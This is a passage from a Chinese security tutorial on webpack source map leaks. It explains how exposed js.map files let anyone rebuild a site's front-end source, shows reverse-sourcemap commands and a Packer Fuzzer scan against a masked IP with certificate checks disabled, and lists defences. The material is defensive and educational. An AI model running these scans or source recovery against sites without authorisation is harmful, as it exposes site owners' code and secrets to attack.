Webpack 是一個(gè)強(qiáng)大的前端資源模塊打包工具,可以將多個(gè) JS、CSS、JSON等 文件打包成一個(gè)或多個(gè)文件,使代碼更加模塊化,便于編程和使用。目前前端部署的代碼一般都是經(jīng)過(guò) webpack 壓縮的,壓縮的目的一般如下:移除無(wú)用代碼、混淆代碼中變量名稱、函數(shù)名稱等,以及對(duì)結(jié)構(gòu)進(jìn)行扁平化處理。Vue 使用 webpack 靜態(tài)資源打包器的時(shí)候,如果未進(jìn)行正確配置,會(huì)產(chǎn)生一個(gè) js.map 文件,而這個(gè) js.map 可以通過(guò)工具來(lái)反編譯還原 Vue 源代碼,導(dǎo)致前端源代碼泄露。
0x01 SourceMap 的作用
SourceMap 在其中扮演了一個(gè)十分重要的角色,用來(lái)作為源代碼和編譯代碼之間的映射,方便開(kāi)發(fā)定位問(wèn)題。一般在壓縮 js 的過(guò)程中,會(huì)生成相應(yīng)的 sourcemap 文件,并且在壓縮的 js 文件末尾追加 sourcemap 文件的鏈接 ,如:_//# sourceMappingURL=xxxx.js.map_
。這樣,瀏覽器在加載這個(gè)壓縮過(guò)的js 時(shí),就知道還有一個(gè)相應(yīng)的 sourcemap 文件,也會(huì)一起加載下來(lái),運(yùn)行的過(guò)程中如果 js 報(bào)錯(cuò),也會(huì)給出相應(yīng)源代碼的行號(hào)與列號(hào),而非壓縮文件的??偠灾?#xff0c;Sourcemap 初衷是方便開(kāi)發(fā)排錯(cuò),它不應(yīng)該用在生產(chǎn)環(huán)境,如果用在生產(chǎn)環(huán)境,攻擊者就可以通過(guò) sourcemap 文件中的映射,還原出前端完整代碼。
0x02 Webpack 源碼泄露危害
Webpack 前端源碼泄露漏洞可能導(dǎo)致以下危害:
- 敏感信息泄露:攻擊者可以獲取到前端源碼,從而獲取到敏感信息,如 API、管理員郵箱、內(nèi)部功能等;
- 代碼審計(jì):攻擊者可以對(duì)獲取到的源碼進(jìn)行代碼審計(jì),查找潛在的安全漏洞和惡意代碼。
0x03 Webpack 站點(diǎn)的識(shí)別
前端打包工具 Webpack 所生成的是一個(gè)純 JS 的網(wǎng)站,即源碼之中并無(wú)多余的 HTML 內(nèi)容,所有的前端內(nèi)容都依賴于瀏覽器對(duì) JS 文件的解析,并且此類網(wǎng)站之中通常存在一行 noscript 提示告訴沒(méi)有啟用JS的訪問(wèn)者啟用 JS 功能才能正常瀏覽網(wǎng)站。
以雷神眾測(cè)為例,它便是一個(gè)標(biāo)準(zhǔn)的 Webpack 站點(diǎn)(但是不存在前端源代碼信息泄露):
而在 webpack 項(xiàng)目源碼泄漏的情況下,則可以在瀏覽器控制臺(tái)中的 Sources->Page->webpack://
中查看到前端源代碼:
0x04 Webpack 源碼泄露利用
舉個(gè)例子:
直接查看網(wǎng)站的 js 文件,可以在末尾處看到均有 js.map 文件名:
手動(dòng)下載 js.map 文件:
安裝 npm(Windows 下載并安裝 https://nodejs.org/en/download 即可),使用 npm 安裝 reverse-sourcemap:
npm install --global reverse-sourcemap
# 檢查是否安裝成功
reverse-sourcemap -h
接下來(lái)即可使用 reverse-sourcemap 進(jìn)行 js.map 文件還原操作:
reverse-sourcemap --output-dir ./ app-3f69d31c7deabb2b760a.js.map
隨后拖入 VSCode 查看源代碼即可:
0x05 Webpack 自動(dòng)探測(cè)工具
【檢測(cè)工具 1:HaE】
BurpSuite 開(kāi)源插件 HaE (https://github.com/gh0stkey/HaE)支持檢測(cè) SourceMap 文件:
HaE 是一個(gè)基于 BurpSuite Java 插件 API 開(kāi)發(fā)的輔助型框架式插件,旨在實(shí)現(xiàn)對(duì) HTTP 消息的高亮標(biāo)記和信息提取。該插件通過(guò)自定義正則表達(dá)式匹配響應(yīng)報(bào)文或請(qǐng)求報(bào)文,并對(duì)匹配成功的報(bào)文進(jìn)行標(biāo)記和提取。
【檢測(cè)工具 2:Packer Fuzzer】
Packer Fuzzer 工具:https://github.com/rtcatc/Packer-Fuzzer。Packer Fuzzer 工具目前支持自動(dòng)化提取 JS 資源文件并利用現(xiàn)成規(guī)則和暴力提取模式提取其中的 API 及對(duì)應(yīng)參數(shù),在提取完成之后支持對(duì):未授權(quán)訪問(wèn)、敏感信息泄露、CORS、SQL 注入、水平越權(quán)、弱口令、任意文件上傳七大漏洞進(jìn)行模糊高效的快速檢測(cè)。在掃描結(jié)束之后,本工具還支持自動(dòng)生成掃描報(bào)告,您可以選擇便于分析的HTML版本以及較為正規(guī)的 doc、pdf、txt 版本。
但注意此漏洞利用工具請(qǐng)注意需要單獨(dú)執(zhí)行 pip install python-docx==0.8.11 -i https://pypi.tuna.tsinghua.edu.cn/simple 后才能正常運(yùn)行。
執(zhí)行掃描并查看結(jié)果:
# SSL連接安全選項(xiàng),當(dāng)為空時(shí)默認(rèn)關(guān)閉狀態(tài),在此狀態(tài)下將會(huì)阻止一切不安全的連接。
# 若您希望忽略SSL安全狀態(tài),您可使用1命令開(kāi)啟,將會(huì)忽略一切證書錯(cuò)誤,例如:-f 1
python PackerFuzzer.py -u https://XXX.XXX.XXX.234/ -f 1
0x06 Webpack 源碼泄露防御
如何防范 Webpack 前端源碼泄露漏洞?
- 在 Webpack 的配置文件(config/index.js)中,配置 productionSourceMap:false,即可關(guān)閉 .map 文件的生成,這樣可以有效防止源碼泄露;
- 壓縮和混淆代碼:Webpack 提供了 UglifyJsPlugin 插件和 TerserPlugin 插件來(lái)壓縮和混淆代碼,可以有效地提高代碼的安全性,使用這些插件可以將代碼壓縮、混淆,使攻擊者難以閱讀和修改;
最后,附上奇安信安全社區(qū)幾個(gè)關(guān)于 Webpack 信息泄露的實(shí)戰(zhàn)利用案例:《奇安信攻防社區(qū)-淺談Webpack導(dǎo)致的一些問(wèn)題》。
總結(jié)
本文總結(jié)學(xué)習(xí)了 Swagger-UI、SpringBoot Actuator、Druid、Webpack 組件的未授權(quán)訪問(wèn)漏洞基本原理與漏洞探測(cè)方法,在介紹了幾款自動(dòng)化掃描工具的同時(shí),也簡(jiǎn)要分析了 CVE-2022-22947 Spring Cloud Gateway 系統(tǒng) RCE 漏洞。
SpringBoot 安全漏洞總結(jié)與利用工具:
- SpringBootVulExploit/README.md
- 奇安信攻防社區(qū)-Springboot攻擊面初探;
- SpringBoot漏洞利用工具的介紹與實(shí)例演示。